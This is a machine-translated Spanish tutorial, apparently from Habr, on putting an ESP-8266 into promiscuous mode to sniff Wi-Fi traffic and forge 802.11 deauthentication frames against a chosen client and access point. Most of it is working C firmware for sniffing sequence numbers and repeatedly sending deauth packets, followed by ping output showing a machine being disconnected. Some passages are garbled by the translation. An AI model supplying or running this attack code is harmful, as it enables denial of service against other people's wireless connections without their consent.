Modo promiscuo en el microcontrolador ESP-8266

Creo que muchos estarán de acuerdo en que el ESP-8266 es un gran invento para el bricolaje y la Internet de las cosas. Un tipo de sensor WiFi que puede conectarse a un Arduino o incluso usarse en lugar de un Arduino para enviar, como regla, datos meteorológicos a un servidor. Hay muchos firmwares diferentes que le permiten hacer esto: desde el módem estándar utilizado junto con Arduino, NodeMCU para seguidores de LUA, hasta numerosos servidores web totalmente atendidos por ESP ( ejemplo ).

imagen

Como regla general, después de recibir un microcontrolador en miniatura de China, es poco probable que desee escribir su propio firmware y utilizará uno de los disponibles. Hay 2 razones para esto: no importa lo que pienses, ya se ha implementadoy es poco probable que quiera lidiar con el SDK chino generosamente condimentado con muletas y características indocumentadas. Y no se confunda con el atractivo diseño del sitio : escribir firmware para ESP es dolor y sufrimiento. Si esto no te asusta, entonces bienvenido. El artículo está dirigido al arduino con experiencia mínima con ESP: ya sabe cómo recopilar firmware y escribirlos en el microcontrolador.

Como puede ver en el encabezado, trabajaremos directamente con la pila 802.11, tanto como sea posible en el caso de ESP. Modo promiscuo en ESP: la capacidad de enviar y recibir paquetes de datos "extraños" desde el aire. No hay tantas áreas de aplicación: análisis estadístico (recopilación de todo tipo de datos, como la congestión según la frecuencia) y penetración y piratería de redes. En el último caso, un pasatiempo típico de script para niños es la autenticación (desconexión) de un vecino de su enrutador WiFi mientras juega DotA / tanks. Por lo general, para esto, la cabeza brillante instala Kali Linux y usa el conjunto de saltos air * -ng, usaremos un controlador en miniatura.
Por qué
, .


Para esto, además del hardware, necesitaremos una API (utilicé la referencia de API ESP8266 SDK sin sistema operativo , el enlace puede romperse muy pronto) y un maravilloso proyecto esp-open-sdk que hará la mayor parte del ensamblaje del proyecto por usted. Un proyecto semiacabado (por razones éticas) basado en los resultados de esta publicación se puede encontrar en github .

Entonces deauth. ¿Quién no conoce - rupturaSu conexión WiFi es posible utilizando un par de decenas de bytes de datos enviados al aire cercano. El cifrado no se guarda por razones puramente conceptuales: se proporciona deauth para los casos en que la comunicación es deficiente y los paquetes se pierden. En consecuencia, se necesita un mecanismo efectivo para gritarle al cliente "Estoy todo, estoy cansado" y comenzar la conexión desde cero. Y aquí no depende del cifrado. En nuestro caso, simularemos que el punto de acceso no puede soportarlo y, en su nombre, enviaremos una carta al cliente satisfecho. La estructura del paquete es la siguiente:

[0xC0, 0x00] + two_random_bytes + client_MAC_address + (ap_MAC_address * 2) + [seq_N_lo] + [seq_N_hi] + [0x01, 0x00]


Un ávido de conocimiento mismo encontrará lo que significan las constantes mágicas, pero describiré brevemente las variables:

  • dos_random_bytes serán sobrescritos por el microcontrolador;
  • client_MAC_address 6 bytes de la dirección física del dispositivo MAC del cliente;
  • ap_MAC_address 6 bytes de la dirección física del dispositivo MAC del servidor (enrutador, punto de acceso);
  • seq_N_lo, hola bytes bajos y altos de seq_n, número de serie del paquete multiplicado por 16 (los 4 bits menos significativos están reservados para la posibilidad de enviar el mismo paquete nuevamente)


Entonces

Paso 1: ponga el ESP en modo estación

Después de comentarios discretos de amigos chinos, esto es simplemente necesario (sin explicación).

void ICACHE_FLASH_ATTR
user_init()
{
    uart_init(115200, 115200);
    os_printf("\n\nSDK version:%s\n", system_get_sdk_version());
    
    // Promiscuous works only with station mode
    wifi_set_opmode(STATION_MODE);
    
    // Set timer for deauth
    os_timer_disarm(&deauth_timer);
    os_timer_setfn(&deauth_timer, (os_timer_func_t *) deauth, NULL);
    os_timer_arm(&deauth_timer, DEAUTH_INTERVAL, 1);
    
    // Continue to 'sniffer_system_init_done'
    system_init_done_cb(sniffer_system_init_done);
}


Entre otras cosas, configuramos la velocidad de entrada / salida de serie aquí para poder leer los mensajes de depuración, usar el temporizador incorporado para llamar al método deauth cada milisegundos DEAUTH_INTERVAL y dejar que ESP susurre antes de pasar a la segunda etapa de inicialización.

Por qué
, user-defined ESP , WiFi , . while(1) watchdog .


Paso 2: pon el ESP en modo promiscuo

Para hacer esto, definimos la función sniffer_system_init_done que se usó anteriormente.
void ICACHE_FLASH_ATTR
sniffer_system_init_done(void)
{
    // Set up promiscuous callback
    wifi_set_channel(channel);
    wifi_promiscuous_enable(0);
    wifi_set_promiscuous_rx_cb(promisc_cb);
    wifi_promiscuous_enable(1);
}

Aquí configuramos la banda WiFi (canal de transmisión / recepción de datos, consulte las instrucciones para su país), grabe la devolución de llamada para recibir paquetes promisc_cb y ejecute el modo promiscuo. ¿Por qué necesitamos esta devolución de llamada?

Paso 3: olfatea los paquetes

Uno de los parámetros de deauth del paquete, seq_n, implica que hemos recibido paquetes anteriores y sabemos el número de serie del siguiente. Para esto necesitamos escuchar la conexión de otra persona y grabar esta seq_n.

static void ICACHE_FLASH_ATTR
promisc_cb(uint8_t *buf, uint16_t len)
{
    if (len == 12){
        struct RxControl *sniffer = (struct RxControl*) buf;
    } else if (len == 128) {
        struct sniffer_buf2 *sniffer = (struct sniffer_buf2*) buf;
    } else {
        struct sniffer_buf *sniffer = (struct sniffer_buf*) buf;
        int i=0;
        // Check MACs
        for (i=0; i<6; i++) if (sniffer->buf[i+4] != client[i]) return;
        for (i=0; i<6; i++) if (sniffer->buf[i+10] != ap[i]) return;
        // Update sequence number
        seq_n = sniffer->buf[23] * 0xFF + sniffer->buf[22];
    }
}


La cascada de ifs está asociada con la magia negra con una variedad de estándares 802.11. Por supuesto, ESP solo admite el conjunto más necesario y no funciona, por ejemplo, con una frecuencia de 5Ghz. Las descripciones de todas las estructuras están disponibles en la documentación y los ejemplos, pero necesitamos una pequeña: el sniffer de campo de datos-> buf en este caso. Verificamos que el paquete vino del punto de acceso y se envió a nuestra víctima y, si es así, escribimos 2 bytes de seq_n. Por cierto, los paquetes en la dirección opuesta tienen una numeración separada.

Paso 4: enviar

Lo único es enviar el paquete.

uint16_t deauth_packet(uint8_t *buf, uint8_t *client, uint8_t *ap, uint16_t seq)
{
    int i=0;
    
    // Type: deauth
    buf[0] = 0xC0;
    buf[1] = 0x00;
    // Duration 0 msec, will be re-written by ESP
    buf[2] = 0x00;
    buf[3] = 0x00;
    // Destination
    for (i=0; i<6; i++) buf[i+4] = client[i];
    // Sender
    for (i=0; i<6; i++) buf[i+10] = ap[i];
    for (i=0; i<6; i++) buf[i+16] = ap[i];
    // Seq_n
    buf[22] = seq % 0xFF;
    buf[23] = seq / 0xFF;
    // Deauth reason
    buf[24] = 1;
    buf[25] = 0;
    return 26;
}

/* Sends deauth packets. */
void deauth(void *arg)
{
    os_printf("\nSending deauth seq_n = %d ...\n", seq_n/0x10);
    // Sequence number is increased by 16, see 802.11
    uint16_t size = deauth_packet(packet_buffer, client, ap, seq_n+0x10);
    wifi_send_pkt_freedom(packet_buffer, size, 0);
}


La primera función escribe los datos necesarios en el búfer, la segunda los envía.

Paso 5: verifique

Para probar el rendimiento, utilicé mi propia computadora.
Los resultados hablan por sí mismos.
PING 192.168.2.1 (192.168.2.1) 56(84) bytes of data.
64 bytes from 192.168.2.1: icmp_seq=1 ttl=64 time=71.5 ms
64 bytes from 192.168.2.1: icmp_seq=2 ttl=64 time=3.24 ms
64 bytes from 192.168.2.1: icmp_seq=3 ttl=64 time=0.754 ms
64 bytes from 192.168.2.1: icmp_seq=4 ttl=64 time=0.648 ms
64 bytes from 192.168.2.1: icmp_seq=5 ttl=64 time=0.757 ms
64 bytes from 192.168.2.1: icmp_seq=6 ttl=64 time=0.822 ms
64 bytes from 192.168.2.1: icmp_seq=7 ttl=64 time=0.734 ms
64 bytes from 192.168.2.1: icmp_seq=8 ttl=64 time=0.759 ms
64 bytes from 192.168.2.1: icmp_seq=9 ttl=64 time=0.739 ms
64 bytes from 192.168.2.1: icmp_seq=10 ttl=64 time=0.772 ms
64 bytes from 192.168.2.1: icmp_seq=11 ttl=64 time=0.732 ms
64 bytes from 192.168.2.1: icmp_seq=12 ttl=64 time=0.739 ms
64 bytes from 192.168.2.1: icmp_seq=13 ttl=64 time=0.740 ms
64 bytes from 192.168.2.1: icmp_seq=14 ttl=64 time=0.621 ms
64 bytes from 192.168.2.1: icmp_seq=15 ttl=64 time=2.19 ms
64 bytes from 192.168.2.1: icmp_seq=16 ttl=64 time=0.710 ms
64 bytes from 192.168.2.1: icmp_seq=17 ttl=64 time=0.740 ms
64 bytes from 192.168.2.1: icmp_seq=18 ttl=64 time=0.742 ms
no answer yet for icmp_seq=19
no answer yet for icmp_seq=20
no answer yet for icmp_seq=21
no answer yet for icmp_seq=22
no answer yet for icmp_seq=23
no answer yet for icmp_seq=24
no answer yet for icmp_seq=25
no answer yet for icmp_seq=26
no answer yet for icmp_seq=27
no answer yet for icmp_seq=28
no answer yet for icmp_seq=29
no answer yet for icmp_seq=30
no answer yet for icmp_seq=31
no answer yet for icmp_seq=32
no answer yet for icmp_seq=33
no answer yet for icmp_seq=34
no answer yet for icmp_seq=35
no answer yet for icmp_seq=36
no answer yet for icmp_seq=37
no answer yet for icmp_seq=38
64 bytes from 192.168.2.1: icmp_seq=39 ttl=64 time=2.03 ms
64 bytes from 192.168.2.1: icmp_seq=40 ttl=64 time=3.53 ms
64 bytes from 192.168.2.1: icmp_seq=41 ttl=64 time=2.03 ms
64 bytes from 192.168.2.1: icmp_seq=42 ttl=64 time=1.98 ms
64 bytes from 192.168.2.1: icmp_seq=43 ttl=64 time=1.99 ms
64 bytes from 192.168.2.1: icmp_seq=44 ttl=64 time=1.99 ms
64 bytes from 192.168.2.1: icmp_seq=45 ttl=64 time=6.96 ms



Para un análisis objetivo, puede usar Wireshark:



el paquete es visible exactamente en la forma en que lo enviamos.

Entonces, ¿esto realmente funciona? No En las versiones actuales de SDK está roto pofiksili. Se pueden enviar paquetes de difusión, pero nada más. Pero el viejo SDK se conservó con amor y estuvo disponible como parte del ejemplo en GitHub . Usar con precaución.

Source: https://habr.com/ru/post/es397741/


All Articles